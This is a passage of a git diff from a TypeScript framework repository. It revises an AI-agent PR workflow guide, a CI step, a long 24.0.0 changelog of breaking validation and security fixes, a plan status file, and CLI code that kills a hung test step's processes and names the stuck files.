diff --git a/.claude/commands/feature.md b/.claude/commands/feature.md index b881a9c37..bfd6474df 100644 --- a/.claude/commands/feature.md +++ b/.claude/commands/feature.md @@ -15,11 +15,17 @@ $ARGUMENTS **The prompt is the context — read the intent.** Autonomy, scope, which packages and tiers, whether to confirm before merging: infer it from the words. "Just ship it" → run start-to-finish, decide everything yourself, merge on green, surfacing decisions in the PR body instead of asking. A tentative or exploratory ask → clarify what is genuinely ambiguous and let the user review first. Don't make the user configure you. Always stop for a true blocker: a destructive or irreversible action, a **shipped error code** you would have to change (they are stable forever), a design that needs a ninth primitive or a new tier, or a dependency you cannot satisfy. -**One sweep, one PR, merged before the next sweep starts.** A sweep is one wave of agents. When the wave reports: gate it, commit it, open its PR, get CI green, merge it — and only then brief the next wave, which starts from the new `main`. Never let several waves pile up uncommitted in the tree and then cut them into a stack of PRs at the end. Plan 101 did that (2026-10-01): ~1,450 files across 13 stacked PRs. Each chunk failed CI on its own, because a lower tier's change landed before its consumers. CodeRabbit auto-reviews only PRs whose base is `main`, so it skipped 12 of the 13 until triggered by hand. The real verdict came only from the top of the stack, and every review fix had to be merged up through every branch above it. Size each wave so its PR stays under the cap below. Do not wait on a CodeRabbit review that has not arrived when CI is green; act on reviews that do arrive. +**One PR at a time: build → CI → merge → next.** The loop is fixed, and it is the only one: -**Pick the PR mode before briefing anyone.** **Slice-per-PR** (default) — one concern per PR; packages release independently, so slices do too. **One fat PR** is the user's call and legitimate for a coherent sweep: path-disjointness still governs the *build* (it is how parallel agents avoid clobbering each other), it just stops governing the *commit*, and the body then carries the finding-by-finding ledger. +1. **Cut one PR's worth of work** — at most ~100 changed files — from the lowest unmerged tier. +2. **Several agents build that one PR together**, each on a disjoint file set, in this checkout. +3. **Gate it** (`bun run verify`), commit, push, open the PR. +4. **CI green, then merge.** Nothing else is in flight while it runs. +5. **Only then** `git checkout main && git pull`, branch again, and brief the next PR's agents from the new `main`. -**Cap a PR at ~110–120 files.** CodeRabbit refuses outright above 150 changed files, so the biggest, riskiest PR gets the *least* automated review; a human cannot hold 279 files either, so approval becomes a formality. One red job blocks everything — CI runs lint, typecheck, boundaries and tests as separate jobs, and a single tier violation would hold every unrelated fix hostage. Bisecting later lands on one enormous commit. Split even if the user asked for one PR, and say why: the agent boundaries were disjoint by construction, so each becomes a PR for free. **Tier order is the split order** — land the tier-0/1 change first, then the packages above it adopt it. Never the reverse; imports only go down. +Never two PRs open, never a stack, never a second wave building while the first waits on CI. Never let several waves pile up uncommitted in the tree and then cut them into a stack at the end. Plan 101 did that (2026-10-01): ~1,450 files across 13 stacked PRs. Each chunk failed CI on its own, because a lower tier's change landed before its consumers. CodeRabbit auto-reviews only PRs whose base is `main`, so it skipped 12 of the 13 until triggered by hand. The real verdict came only from the top of the stack, and every review fix had to be merged up through every branch above it. Do not wait on a CodeRabbit review that has not arrived when CI is green; act on reviews that do arrive. + +**Cap a PR at ~100 changed files.** A plan slice larger than that is split into consecutive PRs; several small slices of one tier band may share a PR while the total stays under the cap. CodeRabbit refuses outright above 150 changed files, so the biggest, riskiest PR gets the *least* automated review; a human cannot hold 279 files either, so approval becomes a formality. One red job blocks everything — a single tier violation would hold every unrelated fix hostage — and bisecting later lands on one enormous commit. Size the PR **before briefing**, from the slice's file table, so the tree only ever holds one PR's work: the gate proves the tree it ran on, and a green `bun run verify` over two PRs' changes proves neither alone. Count again before committing (`git status --short | wc -l`); if the build still overran the cap, move the higher-tier paths out (`cp` them to the scratchpad, `git checkout --` the originals), **re-run the gate on the exact tree being committed**, and restore them for the next PR. Split even if the user asked for one PR, and say why. **Tier order is the PR order** — land the tier-0/1 change first, then the packages above it adopt it. Never the reverse; imports only go down. ## Work as a hive mind, in one checkout @@ -27,8 +33,8 @@ $ARGUMENTS When you do hive, a big task is not one agent doing more; it is a **team sharing one working tree**, with you as coordinator. **Never use git worktrees** — no `isolation: worktree`, no per-agent directories, ever. They fragment the tree, hide half-finished work from the gate, and each one needs its own `bun install`, its own `tsc -b` build graph and its own regenerated manifest. One checkout, many hands; the file set is the only lock. -- **One chunk, one PR, up to four workers inside it.** Split the problem into chunks, where a chunk is the unit that becomes a single PR; parallelise *inside* the chunk across agents whose file sets are disjoint. Finish and merge a chunk before opening the next one — `claudetm merge-pr` operates on the current directory, so parallel building is fine and parallel merging is not. -- **The hive is you plus at most 4 workers, concurrently.** Four is the ceiling, not the target: size the wave to the work you actually estimated, and one agent is the right answer more often than four. Extra agents past the real parallelism buy nothing and cost briefing, collision mediation and report-reading — all paid from the one context that must survive to the merge. When a chunk has more slices than workers, queue them: a worker that reports is re-tasked with `SendMessage`, keeping its context and its file lock, rather than spawned alongside. +- **One PR, up to four workers inside it.** Parallelism lives *inside* the PR, across agents whose file sets are disjoint — never across PRs. The next PR's agents are not briefed until this one is merged and `main` is pulled. +- **The hive is you plus at most 4 workers, concurrently.** Four is the ceiling, not the target: size the wave to the work you actually estimated, and one agent is the right answer more often than four. Extra agents past the real parallelism buy nothing and cost briefing, collision mediation and report-reading — all paid from the one context that must survive to the merge. When a PR has more slices than workers, queue them: a worker that reports is re-tasked with `SendMessage`, keeping its context and its file lock, rather than spawned alongside. - **Only you spawn agents.** A worker does its slice and reports; it never delegates further. Nested fan-out makes the live count unknowable and breaks the disjointness guarantee — two grandchildren you never briefed end up editing one file. A worker that finds its slice too large says so and returns; widening the split is your call, not its own. - **You coordinate; you do not code.** You own git, the ledger and the merge, and you are the only participant who must survive to the end — spend your context on routing, not on reading files an agent will report back. Editing `packages/core/` yourself means you took a slice from someone who had room for it. - **The file set is the lock.** Every brief names that agent's exclusive paths *and* what every other live agent holds — here that is naturally `packages//`, which makes clean boundaries cheap. An agent needing a file it does not own **stops and reports the collision**; it never edits across the line and never negotiates peer-to-peer. You mediate: hand the change to the owner, or re-cut the boundary. diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index e5923081a..e6d77e739 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -181,7 +181,8 @@ jobs: jq -r ' (.steps // [])[] | "\(if .skipped then "-" elif .ok then "✓" else "✗" end) \(.name) \(.durationMs)ms\(if .tests then " \(.tests.ran) ran, \(.tests.skipped) skipped\(if .tests.errors then ", \(.tests.errors) errored" else "" end)" else "" end)", - (.findings[]? | " \(.code)\(if .at then " (\(.at))" else "" end)\n cause: \(.cause)\n fix: \(.fix)") + (.findings[]? | " \(.code)\(if .at then " (\(.at))" else "" end)\n cause: \(.cause)\n fix: \(.fix)"), + (select(.ok | not) | .output // empty | " output (last lines):\n\(split("\n")[-40:] | map(" " + .) | join("\n"))") ' "$parts/${PART}.json" || true exit "$status" # Uploaded when the part is RED too: the verdict is the merge's, and a part that failed diff --git a/CHANGELOG.md b/CHANGELOG.md index 6adccf43b..cbbd37012 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,11 +8,162 @@ Semver applies from 1.0.0. A breaking change to a documented API needs a major ## [Unreleased] -Nothing yet. +**24.0.0 in progress: deep dive — gaps, problems, bugs** +([`docs/plans/2026/10/02/101-deep-dive-gaps-bugs/`](docs/plans/2026/10/02/101-deep-dive-gaps-bugs/overview.md)). +Every breaking entry below has a manual edit in the +[Upgrading](https://github.com/developerz-ai/ultimate/wiki/Upgrading) `23.x → 24.0.0` section, in +the same order. There is no legacy path, no codemod and no compatibility shim: a break is a build +error or an `X_*` error that names the rewrite. Entries are grouped by package, lowest tier first; +a later slice appends its group below the last one. `As of 2026-10` slice 01 has landed: `schema`, +`core`, and the gate's step deadline in `cli`. + +### Added + +Tier 0 — schema, core. + +- **schema:** `X_SCHEMA_DEFAULT_INVALID` (`DefaultInvalidError`) — see Changed. +- **schema:** `SchemaError#retry` is `'terminal'` on every instance and in `toJSON()` + (`SchemaErrorJSON.retry`), as on `UltimateErrorJSON`. `SchemaError#format({ docs: true })` appends + the `docs:` line (`SchemaFormatOptions`). +- **core:** `hasPublicCause(code)` — whether a 5xx document may carry the error's authored `cause`. + One definition: `@ultimat3/http`'s problem document reads it from core. `registerPublicCause` and + `resetPublicCauses` are its write half and test seam; an app still declares a public cause + through `registerProblemMeta({ CODE: { publicCause: true } })`. + +Tier 5 — cli. + +- **cli:** `Finding` carries an optional `meta` — the structured facts behind `cause`, for a + `--json` reader. + +Repository scripts. + +- **scripts:** `bun run new-error-code --package schema` registers a code in + `@ultimat3/schema`'s frozen declarations (`SCHEMA_ERROR_CODES`). It refused that package before. + +### Changed + +Tier 0 — schema. + +- **BREAKING — `t.date` refuses a day its month does not have.** `'2026-02-30'`, `'2026-04-31'`, a + month `00` or `13`, a day `00` or `32`. It validated and stored the rolled-over instant — + `2026-02-30` became March 2nd. The rule is `isIsoDateTime`, so `fromIso`, an entity + `timestamp()` column, `@ultimat3/seo` feed dates and `@ultimat3/ui`'s `DateTime` refuse the same + strings. Correct the date where it is written. +- **BREAKING — `t.url` refuses a string the URL parser would have cut.** A leading or trailing + space or C0 control, and a tab, CR or LF anywhere. `' https://a.b'` validated and was stored + untrimmed. Call `.trim()` before validating; an interior tab, CR or LF is not whitespace + `.trim()` removes — strip or percent-encode it at the source. A space inside the path and an + upper-case host are unchanged. +- **BREAKING — `t.object`, `t.record` and `t.money` take plain objects only.** A value whose + prototype is neither `Object.prototype` nor `null` — a `Map`, a `Date`, a class instance — is + `expected an object`. `t.record(t.number)` parsed a `Map` to `{}`. HTTP coercion no longer + spreads an array or a `Date` into an object either. Pass a plain object: `{ ...instance }` or + `Object.fromEntries(map)`. +- **BREAKING — `.default(v)` throws `X_SCHEMA_DEFAULT_INVALID` when the schema refuses `v`.** At + declaration, so at the first import of the file. `t.number.min(5).default(1)` parsed an omitted + field to 1 and published `minimum: 5, default: 1`. Edit the default or the rule the cause quotes. +- **BREAKING — HTTP coercion reads decimal numerals only.** `?page=0x10`, `0b11` and `0o17` stay + strings and fail validation as `expected a number`; they arrived as 16, 3 and 15. Send decimal. + +Tier 0 — core. + +- **BREAKING — `defineConfig` refuses more of an invalid `app.config.ts`**, each as + `X_CONFIG_INVALID` naming the key: an unknown `roles` entry, `jobs.backoff`, `database.driver` or + `theme.defaultMode`; a non-boolean `database.ssl`, `realtime.enabled` or `ai.mcp.expose` (the + string `'false'` read as on); an `auth.signInPath` or `ai.mcp.path` with no leading `/`; an empty + `cache.tiers`; an empty or non-string `jobs.queues` entry; one locale spelled twice + (`['EN', 'en']`). A section written as `null` or as the wrong shape, a list written as a string, + and a non-string `seo.robots.disallow` / `seo.sitemap.extra` entry are `X_CONFIG_INVALID` too; + those were a native `TypeError` out of the validator. +- **BREAKING — an unknown `LOG_LEVEL` fails at import** (`X_INVARIANT`). `LOG_LEVEL=verbose` and + the upper-case `LOG_LEVEL=DEBUG` meant `info` in silence. Set one of `trace`, `debug`, + `info`, `warn`, `error`, `fatal`, `silent`, lower-case, or unset it. Unset and empty are still `info`. +- **BREAKING — `retry()` and `retryDecision()` refuse a policy that cannot stop the loop** + (`X_INVARIANT`), before the first try: `attempts` that is `NaN`, infinite, negative or a + fraction, and a `timeBudgetMs` that is `NaN` or infinite. `attempts: 0` still runs once; a + negative or fractional budget is still legal. +- **BREAKING — `createFlightGate` refuses a limit that is not a count** (`X_INVARIANT`), at + construction: `maxConcurrent` or `maxQueued` that is `NaN`, infinite, negative or a fraction. + `maxConcurrent: 0` now refuses every caller (`X_FLIGHT_GATE_OVERLOADED`, or the gate's own + `overflow` error); it queued them for a slot that never came. +- **BREAKING — `withChildContext({ signal })` aborts when the parent aborts.** The patched signal + is composed with the parent's, not swapped for it, so a client disconnect or a request timeout + reaches the child. Work that must outlive the request does not belong in a child context: + enqueue a job. +- **BREAKING — compound credential names are redacted.** `currentPassword`, `mfaSecret`, + `resetToken`, `recoveryCode`, `webhookSecret`, `passwordHash`, `tokenHash`, `keyHash` and the + rest `isRedactedKey` now matches are `[redacted]` in a log line, an audit row and the error + monitor's envelope; they were written in clear. A name ending in `token` is redacted unless its + qualifier says it is no bearer (`idempotency`, `page`, `continuation`, `cursor`, `sync`) — so + `NPM_TOKEN`, `AWS_SESSION_TOKEN` and `confirmationToken` are; key material is matched by + qualifier (`privateKey`, `signingKey`, `AWS_ACCESS_KEY_ID`); and so is a value that embeds a + credential (`connectionString`, `dsn`, `databaseUrl`, `REDIS_URL`). `idempotencyToken`, + `continuationToken`, `maxTokens`, `cacheKey`, `signingKeyId`, `code` and `clientSecretEnv` stay + readable. A test or a log query that read one of + the values reads the marker. +- **BREAKING — the Sentry envelope carries an error's `meta` under `extra.meta`.** It was spread + into `extra`, so `meta: { fix, stack }` replaced the framework's own. Both `meta` and + `scope.extra` are redacted, and `scope.extra` can no longer overwrite `fix`, `docs`, `stack`, + `requestId` or `actorId`. A monitor rule or saved search on `extra.` reads + `extra.meta.`. A `bigint` or a cycle in `meta` no longer drops the report. +- **BREAKING — `OTEL_EXPORTER_OTLP_TRACES_HEADERS` and `OTEL_EXPORTER_OTLP_METRICS_HEADERS` are + read**, and each replaces `OTEL_EXPORTER_OTLP_HEADERS` for its signal. Only the generic variable + was read. A deploy that sets both sends the per-signal one alone on that signal: put every header + that signal needs in it, or unset it. +- **BREAKING — `OTEL_TRACES_SAMPLER=parentbased_always_on` ignores `OTEL_TRACES_SAMPLER_ARG`.** A + leftover `ARG=0.1` thinned its roots to 10%; every root is sampled now. For a ratio, set + `OTEL_TRACES_SAMPLER=parentbased_traceidratio`. +- **BREAKING — a wildcard host rule no longer admits an address inside the network.** + `hostDecision` under `'*'` or `'*.suffix'` refuses a loopback, private, link-local or metadata + address literal (`127.0.0.1`, `10.0.0.1`, `169.254.169.254`, `[::1]`). Opt in with an exact rule: + `allowHosts: ['*', '127.0.0.1']`. A hostname that resolves inward is still admitted — this + function has no resolver; pinning the resolved address is the connecting driver's job. +- **BREAKING — an empty `ULTIMATE_CURSOR_SECRET=` counts as unset.** It keyed the cursor HMAC with + the empty string and passed the boot check. Now it is the development key locally and + `X_CURSOR_SECRET_DEV` anywhere else: `x secrets set ULTIMATE_CURSOR_SECRET`. Cursors signed + under the empty key stop verifying. + +Tier 5 — cli. + +- **cli:** `X_VERIFY_STEP_TIMEOUT` names what was running. On expiry the step's test workers are + killed first, so `bun test` itself reports the file each one held; the `cause` lists those + files, `at` is the first, and the `fix:` runs that file alone. `meta` carries `step`, + `deadlineMs`, `killed` (each process's `pid` and command line) and `inFlight` (per `bun test` + run: `command`, `files`, `workers`, `stuck`). The step's output is what the killed runs last + printed. Code and meaning unchanged. + +### Fixed + +Tier 0 — schema, core. + +- **schema:** HTTP coercion tries every member of a union. `t.union(t.literal('auto'), t.number)` + left `'12'` a string and failed validation; a union of objects coerced every value by its first + branch. A string that some member accepts as a string is never converted: under + `t.union(t.number, t.string)`, `'01234'` stays `'01234'`. +- **schema:** a thenable that is not a `Promise` instance — another realm's, a polyfill's — is + refused as async (`X_SCHEMA_UNSUPPORTED`). It was read as a successful result with `value` + undefined. +- **schema:** `SchemaError#toJSON()` no longer throws on a `bigint` or a cycle in `meta`. +- **core:** an OTLP endpoint with a query string joins the signal path on the path: + `http://collector:4318?tenant=a` is `http://collector:4318/v1/traces?tenant=a`. A `NaN` or + infinite attribute value is dropped instead of sent as `{"doubleValue":null}`, which cost the + whole batch on a validating collector. An integer beyond 2^53 is sent as a double. +- **core:** images. A header declaring a zero, negative, fractional or `NaN` size is + `X_IMAGE_DECODE_FAILED`, not `X_IMAGE_TOO_LARGE`. A PNG whose stream inflates past what its + header's size needs is refused at that bound, and one over the pixel ceiling before a byte is + inflated. A file whose only brand is `mif1` — a HEIC — is no longer sniffed as AVIF. + `X_IMAGE_TOO_LARGE`'s `fix:` no longer names `MAX_IMAGE_PIXELS` as a setting. +- **core:** `nearestName` suggests nothing that shares nothing with the input. The cutoff scales + with length: `nearestName('a', ['db', 'gen'])` answered `db`. +- **core:** `X_REGISTRAR_MISSING` and `X_REGISTRAR_CONFLICT` name the package that owns the kind. + `bun add @ultimat3/task` named a package that does not exist; `task` and `job` are + `@ultimat3/jobs`, `mutator` is `@ultimat3/action`, `route` is `@ultimat3/render`. +- **core:** `X_SECRETS_KEY_INVALID`'s `fix:` branches on where the key was read. Read from the key + file, it names the file to edit; it used to re-read the bad file into the variable. ## 23.0.0 - 2026-10-02 -**23.0.0 in progress: platform readiness for big systems** +**23.0.0: platform readiness for big systems** ([`docs/plans/2026/10/01/101-platform-readiness-for-big-systems/`](docs/plans/2026/10/01/101-platform-readiness-for-big-systems/overview.md)). Every breaking entry below has a manual edit in the [Upgrading](https://github.com/developerz-ai/ultimate/wiki/Upgrading) `22.x → 23.0.0` section, in diff --git a/docs/plans/2026/10/02/101-deep-dive-gaps-bugs/status.yml b/docs/plans/2026/10/02/101-deep-dive-gaps-bugs/status.yml index 6577f099c..c6c7c8b5f 100644 --- a/docs/plans/2026/10/02/101-deep-dive-gaps-bugs/status.yml +++ b/docs/plans/2026/10/02/101-deep-dive-gaps-bugs/status.yml @@ -1,16 +1,17 @@ plan: 101-deep-dive-gaps-bugs title: "Deep dive: gaps, problems, bugs" -status: not_started # not_started | in_progress | blocked | complete | superseded +status: in_progress # not_started | in_progress | blocked | complete | superseded created_by: sebi -worked_by: "" # executor fills with their git user.name +worked_by: "sebi" # executor fills with their git user.name owner: sebi -percent: 0 -current_focus: "01-core-schema.md; pull forward 12-cli.md step 1 (ISR attach) and 09-render-pwa-ui.md step 1 (QR) — neither depends on anything" +percent: 7 +current_focus: "PR 1 — 01-core-schema.md (branch fix/101-01-core-schema)" slices: - file: 01-core-schema.md tier: 0 - status: not_started - percent: 0 + status: done + percent: 100 + evidence: "PR 1 (fix/101-01-core-schema): every row fixed behind a failing-first test, none dropped. bun run verify green (14 of 14 root steps), reference-app-gate 20/20 on both apps with no pin. Not done here and carried forward: the DNS-resolution half of s2-sec L1 (a wildcard allowHosts still admits a hostname that resolves inward) belongs to scraping/cli connection code, slices 11-12; core's registerPublicCause can be called by an app for a framework code, bypassing http's refusal - closing it needs an owner per registered code." - file: 02-db.md tier: 1 status: not_started @@ -77,6 +78,18 @@ notes: >- about fifteen citations; its files win over sweeps 1-2. No live Postgres, Redis, NATS, S3 or browser was used by any sweep. Rows owned by docs/plans/2026/09/28/101-audit-bugs-and-gaps (slices 01, 02, 03, 05-09 still open there) are listed per slice under "Owned elsewhere" and are - not re-planned here. Section A of slice 15 holds 21 owner decisions; five were first asked on + not re-planned here. + Execution rules set by the owner on 2026-10-02: one PR at a time, at most ~100 changed files, + several agents inside the PR, CI green then merge then the next; no legacy and no compatibility + shims (a replaced path is deleted, never deprecated); docs move in the same PR as the code; the + nine breaking rows of overview.md land as BREAKING in one major, released at the end. The + 2026-09-28 plan's slices 01-03 are folded into the matching PRs here (cursor secret in PR 1). + PR 1 also carries the fix for the intermittent unit-shard hang seen on run 36970672608 + (X_VERIFY_STEP_TIMEOUT naming nothing in flight). That hang's root cause is UNPROVEN: the failing + log named no file and 40 local iterations over the 254 candidate files never hung; three CI + occurrences (runs 36970672608, 36961194579, 36959562383) each left exactly two processes. The + timeout now names the file still running, so the next occurrence identifies it. Unverified lead, + not changed: packages/cli/src/write-line.ts and scripts/lib/log.ts retry writeSync on EAGAIN in + an unbounded busy loop. Section A of slice 15 holds 21 owner decisions; five were first asked on 2026-09-28. Unaudited areas are listed at the end of each findings file. last_updated: 2026-10-02 diff --git a/framework.manifest.json b/framework.manifest.json index 05098a2d6..1a96f1010 100644 --- a/framework.manifest.json +++ b/framework.manifest.json @@ -1,6 +1,6 @@ { "version": 1, - "buildId": "6ad74982d4df1c799166fae2af300c4a8aabacfd7893127679e1f97c61b8f4e0", + "buildId": "570c65e82cfb0a7dca3258e476b559e39f3a77d3a9e11a8ed9431d65934d3ff4", "tiers": { "0": [ "core", @@ -2999,6 +2999,11 @@ "owner": "time", "at": "packages/time/src/errors.ts" }, + { + "code": "X_SCHEMA_DEFAULT_INVALID", + "owner": "schema", + "at": "packages/schema/src/error-codes.ts" + }, { "code": "X_SCHEMA_DEFAULT_UNSHAREABLE", "owner": "schema", diff --git a/packages/cli/CLAUDE.md b/packages/cli/CLAUDE.md index e050b1666..f97eee91e 100644 --- a/packages/cli/CLAUDE.md +++ b/packages/cli/CLAUDE.md @@ -45,7 +45,7 @@ Commands: `bun test packages/cli` (from the repo root — the test preload lives | `verify-checks.ts` / `verify-step.ts` / `verify-run.ts` | the step list, the outcome shape, the run order (`BESIDE_SERIAL_SUITES`) | | `verify-floor.ts` | `x.verify.json`: a floor step that ran zero tests is `X_VERIFY_SUITE_VANISHED` | | `coverage-floor.ts` / `coverage-lcov.ts` / `coverage-source.ts` / `verify-coverage-run.ts` | an APP's `unit` step holds `coverage` in `x.verify.json` over its whole source tree. The suite runs as fixed slices, one plain `bun test` each — never `--parallel --coverage`, whose merge moves with the core count. `coverage-lcov.ts` is the ONE lcov reader; `scripts/coverage-gate.ts` reads through it. A shard defers to `verify-merge.ts` (`coverageRiders`); `doctor-coverage.ts` lists the excludes | -| `verify-deadline.ts` / `verify-progress.ts` | a step past its deadline is `X_VERIFY_STEP_TIMEOUT`: its children carry `ULTIMATE_VERIFY_STEP` and are killed by that tag; `--json` streams a line per finished step to stderr. A `fix:` names `ctx.command` — `bun run verify` at the framework root | +| `verify-deadline.ts` / `verify-stalled.ts` / `verify-progress.ts` | a step past its deadline is `X_VERIFY_STEP_TIMEOUT`: its children carry `ULTIMATE_VERIFY_STEP` and are killed by that tag; the finding names the test file `bun test` had not finished (`at`, `meta.inFlight`) and its `fix:` runs that file; `--json` streams a line per finished step to stderr. A `fix:` names `ctx.command` — `bun run verify` at the framework root | | `load-findings.ts` | module-load failures are reported once, by `manifest`; other steps point there | | `boundary-findings.ts` / `app-boundaries.ts` / `boundary-cuts.ts` | surface + layer rules; a finding's `fix:` is the concrete cut | | `app-transport.ts` / `browser-transport.ts` / `transport-calls.ts` / `import-closure.ts` / `server-barrels.ts` | `boundaries`, built in: one browser transport. `app-transport.ts` reuses the files `readAppSources` read (no second walk), resolves through the app's tsconfig `paths` and workspace manifests, reads the app's own `packages/*` lazily, and STOPS at `node_modules`. `browser-transport.ts` is the pure rule — `scripts/browser-transport.ts` calls the same function with this repo's seam FILES. Never a `guards/` file: an app must not be able to delete it | diff --git a/packages/cli/src/output.ts b/packages/cli/src/output.ts index 2fc8e43c0..ac07cc520 100644 --- a/packages/cli/src/output.ts +++ b/packages/cli/src/output.ts @@ -29,6 +29,12 @@ export interface Finding { * and must never be run as this CLI's own instruction. */ readonly source?: 'ci-log'; + /** + * Structured facts behind `cause`, for a `--json` reader that would otherwise parse the sentence: + * `X_VERIFY_STEP_TIMEOUT` carries the processes it killed and the files still in flight. Never + * the only home of a fact — the human render prints `cause` and `fix`, and both already say it. + */ + readonly meta?: { readonly [key: string]: JsonValue }; } export interface StepResult { diff --git a/packages/cli/src/verify-deadline.test.ts b/packages/cli/src/verify-deadline.test.ts index 40f9bb228..654687b42 100644 --- a/packages/cli/src/verify-deadline.test.ts +++ b/packages/cli/src/verify-deadline.test.ts @@ -9,7 +9,6 @@ import { readStepTimeouts, STEP_TAG_ENV, SUITE_STEP_TIMEOUT_MS, - stepTimeoutFinding, stepTimeoutMs, taggedPids, } from './verify-deadline'; @@ -62,16 +61,6 @@ describe('the deadline a step runs under', () => { expect(bad.problems.join('\n')).toContain('names units, which x verify does not run'); expect(readStepTimeouts({ stepTimeoutMs: 5 }, VERIFY_STEP_NAMES).problems).toHaveLength(1); }); - - test('the finding names the step, its number and a fix that runs where it was raised', () => { - const finding = stepTimeoutFinding('unit', 480_000, 3, 'bun run verify'); - expect(finding.code).toBe('X_VERIFY_STEP_TIMEOUT'); - expect(finding.cause).toContain('step "unit"'); - expect(finding.cause).toContain('480000 ms'); - expect(finding.cause).toContain('3 process(es)'); - expect(finding.fix.startsWith('bun run verify --only unit --json')).toBe(true); - expect(finding.fix).toContain('"stepTimeoutMs": { "unit": }'); - }); }); describe('raceDeadline', () => { @@ -125,8 +114,16 @@ describe('guardStep', () => { listed = await tagged(tag); } expect(listed.length).toBeGreaterThanOrEqual(3); - const killed = await guard.expire(); - expect(killed).toBeGreaterThanOrEqual(3); + const expiry = await guard.expire(); + expect(expiry.killed.length).toBeGreaterThanOrEqual(3); + // Read before the kill, so each is still its own argv and not an empty zombie. + const commands = expiry.killed.map((one) => one.command); + expect(commands.filter((command) => command === 'sleep 300')).toHaveLength(2); + expect(commands.some((command) => command.startsWith('sh -c sleep 300 &'))).toBe(true); + // The call the step was waiting on, with what the child had printed before it died. + expect(expiry.inFlight).toHaveLength(1); + expect(expiry.inFlight[0]?.command[0]).toBe('sh'); + expect(expiry.inFlight[0]?.output?.split('\n')).toHaveLength(2); const result = await running; expect(result.ok).toBe(false); expect(await goneSoon(listed)).toBe(true); @@ -147,7 +144,7 @@ describe('guardStep', () => { listed = await tagged(outer); } expect(listed).toHaveLength(1); - expect(await killTagged(outer)).toBe(1); + expect(await killTagged(outer)).toEqual([{ pid: listed[0] as number, command: 'sleep 300' }]); expect((await running).ok).toBe(false); }); }); @@ -163,13 +160,13 @@ describe('where there is no procfs', () => { found = taggedPids(await psProcesses(), tag); } expect(found).toHaveLength(1); - expect(await killTagged(tag, psProcesses)).toBe(1); + expect(await killTagged(tag, psProcesses)).toHaveLength(1); expect((await running).ok).toBe(false); expect(await goneSoon(found)).toBe(true); }); test('a process table that cannot be read kills nothing and does not throw', async () => { - expect(await killTagged('nothing@carries-this', async () => [])).toBe(0); + expect(await killTagged('nothing@carries-this', async () => [])).toEqual([]); }); }); diff --git a/packages/cli/src/verify-deadline.ts b/packages/cli/src/verify-deadline.ts index 03332f1f8..9e2043a18 100644 --- a/packages/cli/src/verify-deadline.ts +++ b/packages/cli/src/verify-deadline.ts @@ -2,10 +2,9 @@ // tag every process a step starts carries, and the kill that leaves none of them behind. A hung // step used to eat the whole CI job timeout and report nothing (#589); now it fails by name. -import { ERROR_DOCS_URL } from '@ultimat3/core'; import { TEST_TYPES } from '@ultimat3/testing'; import type { ExecResult, Runner } from './exec'; -import type { Finding } from './output'; +import { execOutput } from './exec'; import type { VerifyStepName } from './verify-step'; /** The `x.verify.json` key: `{ "stepTimeoutMs": { "unit": 900000 } }`. */ @@ -76,11 +75,47 @@ export const STEP_TAG_ENV = 'ULTIMATE_VERIFY_STEP'; /** `bun test`-style "the command was stopped" exit, as `timeout(1)` reports it. */ const EXPIRED_EXIT = 124; +/** A process the kill found, as it was the moment before it died. */ +export interface KilledProcess { + readonly pid: number; + /** Its argv, clipped — a `bun test` coordinator's names every file of its batch. */ + readonly command: string; +} + +/** A child the step was still waiting on when it expired. */ +export interface InFlightRun { + readonly command: readonly string[]; + /** Everything it had printed before the kill; absent when it did not settle after it. */ + readonly output?: string; +} + +/** What a step was doing when its deadline passed — `verify-stalled.ts` turns it into the finding. */ +export interface StepExpiry { + readonly killed: readonly KilledProcess[]; + readonly inFlight: readonly InFlightRun[]; +} + +/** A killed child's pipes close with it; this is only the bound on a runner that is not `exec`. */ +const SETTLE_MS = 2_000; + +/** + * How a `bun test --parallel` worker is told from its coordinator: the flag bun starts each with + * (probed on 1.4.0). Killing the WORKERS first is what names the stuck file — the coordinator + * outlives them just long enough to print `✗ (worker crashed: SIGKILL)` for whatever each + * was holding, in every reporter mode: plain, GitHub Actions' `::group::`, and the failures-only + * one an agent's shell switches on. A file's own header line cannot do it — bun prints that as + * results stream, so a file stuck in its third test has one. + */ +const isTestWorker = (command: string): boolean => command.includes(' --test-worker'); + +/** How long a coordinator gets to say what its workers were holding before it is killed too. */ +const CRASH_REPORT_MS = 1_500; + export interface StepGuard { /** `runner`, with every child tagged — and refusing to start one once the step has expired. */ readonly runner: Runner; - /** Stop the step: no further child starts, and every tagged process is killed. Returns how many. */ - expire(): Promise; + /** Stop the step: no further child starts, every tagged process is killed, and what was in flight is told. */ + expire(): Promise; } /** @@ -98,6 +133,8 @@ export function guardStep( env: Readonly> = Bun.env, ): StepGuard { let expired = false; + // Keyed by the promise itself: two batches of one step may run the very same argv. + const inFlight = new Map, readonly string[]>(); const inherited = env[STEP_TAG_ENV]; const value = inherited === undefined || inherited === '' ? tag : `${inherited} ${tag}`; return { @@ -114,11 +151,35 @@ export function guardStep( durationMs: 0, }; } - return runner(command, { ...options, env: { ...options.env, [STEP_TAG_ENV]: value } }); + const run = runner(command, { ...options, env: { ...options.env, [STEP_TAG_ENV]: value } }); + inFlight.set(run, command); + try { + return await run; + } finally { + inFlight.delete(run); + } }, - async expire(): Promise { + async expire(): Promise { expired = true; - return killTagged(tag); + // Before the kill: a killed child settles its runner call, which takes it off the map. + const waiting = [...inFlight]; + const workers = await killTagged(tag, undefined, isTestWorker); + if (workers.length > 0) { + await raceDeadline(Promise.allSettled(waiting.map(([run]) => run)), CRASH_REPORT_MS); + } + const rest = await killTagged(tag); + const killed = [...workers, ...rest.filter((one) => workers.every((w) => w.pid !== one.pid))]; + // After it: the kill closed the child's pipes, so its call now resolves with everything it + // had printed — for `bun test`, the crash line of each file a worker was holding. + const settled = await Promise.all( + waiting.map(async ([run, command]): Promise => { + const raced = await raceDeadline(run.then(execOutput), SETTLE_MS).catch(() => undefined); + return raced === undefined || raced.timedOut + ? { command } + : { command, output: raced.value }; + }), + ); + return { killed, inFlight: settled }; }, }; } @@ -186,26 +247,63 @@ export async function psProcesses(): Promise { const SWEEPS = 5; +const COMMAND_CHARS = 240; + +/** + * A process's argv, read BEFORE it is killed — afterwards there is nothing to read. procfs where + * there is one, `ps` otherwise; a process that is already gone is named by its pid alone. + */ +async function commandOf(pid: number): Promise { + let text = await Bun.file(`/proc/${String(pid)}/cmdline`) + .text() + .catch(() => ''); + if (text === '') { + try { + const ps = Bun.spawn(['ps', '-ww', '-o', 'command=', '-p', 